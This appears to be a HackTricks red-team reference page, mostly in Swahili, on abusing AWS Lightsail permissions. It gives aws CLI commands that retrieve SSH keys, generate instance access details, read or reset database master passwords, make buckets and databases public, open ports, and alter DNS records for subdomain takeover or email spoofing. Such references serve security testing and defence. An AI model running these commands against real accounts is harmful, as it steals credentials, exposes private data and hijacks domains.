AWS - Lightsail Privesc

Reading time: 5 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Lightsail

Kwa habari zaidi kuhusu Lightsail, angalia:

AWS - Lightsail Enum

warning

Ni muhimu kutambua kwamba Lightsail haitumii IAM roles zinazomilikiwa na mtumiaji bali kwa akaunti inayosimamiwa na AWS, hivyo huwezi kutumia huduma hii kupata privesc. Hata hivyo, data nyeti kama code, API keys na taarifa za database zinaweza kupatikana katika huduma hii.

lightsail:DownloadDefaultKeyPair

Ruhusa hii itakuwezesha kupata SSH keys za kuingia kwenye instances:

aws lightsail download-default-key-pair

Athari Inayoweza Kutokea: Pata taarifa nyeti ndani ya instances.

lightsail:GetInstanceAccessDetails

Ruhusa hii itakuwezesha kuunda SSH keys ili kupata access kwa instances:

bash
aws lightsail get-instance-access-details --instance-name <instance_name>

Athari Inayowezekana: Pata taarifa nyeti ndani ya instances.

lightsail:CreateBucketAccessKey

Ruhusa hii itakuwezesha kupata ufunguo wa kufikia bucket:

bash
aws lightsail create-bucket-access-key --bucket-name <name>

Athari Inayoweza Kutokea: Tafuta taarifa nyeti ndani ya bucket.

lightsail:GetRelationalDatabaseMasterUserPassword

Ruhusa hii itakuwezesha kupata credentials za kufikia database:

bash
aws lightsail get-relational-database-master-user-password --relational-database-name <name>

Athari Inayoweza Kutokea: Pata taarifa nyeti ndani ya database.

lightsail:UpdateRelationalDatabase

Ruhusa hii itakuwezesha kubadilisha password ili kupata access kwenye database:

bash
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>

Ikiwa database si ya umma, unaweza pia kuifanya iwe ya umma kwa ruhusa hizi.

bash
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible

Athari Inayoweza Kutokea: Kupata taarifa nyeti ndani ya hifadhidata.

lightsail:OpenInstancePublicPorts

Ruhusa hii inaruhusu kufungua bandari kwa umma kupitia Internet.

bash
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22

Athari Inayowezekana: Ufikiaji wa ports nyeti.

lightsail:PutInstancePublicPorts

Ruhusa hii inaruhusu kufungua ports kwa Internet. Kumbuka kwamba wito huo utafunga port yoyote iliyofunguliwa ambayo haijatajwa ndani yake.

bash
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22

Athari Inayoweza Kutokea: Ufikiaji wa ports nyeti.

lightsail:SetResourceAccessForBucket

Ruhusa hii inaruhusu kumpa instance ufikiaji wa bucket bila credentials za ziada.

bash
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow

Athari Inayoweza Kutokea: Ufikiaji mpya unaowezekana kwa buckets zenye taarifa nyeti.

lightsail:UpdateBucket

Kwa ruhusa hii mshambulizi anaweza kumpa akaunti yake ya AWS ruhusa ya kusoma kwa buckets au hata kufanya buckets ziwe za umma kwa wote:

bash
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>

# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true

# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true

Athari Inayoweza Kutokea: Ufikiaji mpya unaowezekana wa buckets zenye taarifa nyeti.

lightsail:UpdateContainerService

Kwa ruhusa hizi, mshambuliaji anaweza kutoa ufikiaji kwa ECRs binafsi kupitia containers service.

bash
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}

Potential Impact: Kupata taarifa nyeti kutoka kwa ECR ya kibinafsi

lightsail:CreateDomainEntry

Mshambulizi aliye na ruhusa hii anaweza kuunda subdomain na kuiweka kuelekea anwani yake ya IP (subdomain takeover), au kutengeneza rekodi ya SPF inayomruhusu ku-spoof barua pepe kutoka kwa domain, au hata kuweka domain kuu kwenye anwani yake ya IP.

bash
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Potential Impact: Kuchukua udhibiti wa domain

lightsail:UpdateDomainEntry

Mshambuliaji mwenye ruhusa hii anaweza kuunda subdomain na kuielekeza kwenye IP yake mwenyewe (subdomain takeover), au kutengeneza rekodi ya SPF inayomruhusu ku-spoof barua pepe kutoka kwa domain, au hata kuweka domain kuu kwenye IP yake mwenyewe.

bash
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0

Athari Inayoweza Kutokea: Kuchukua udhibiti wa kikoa

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks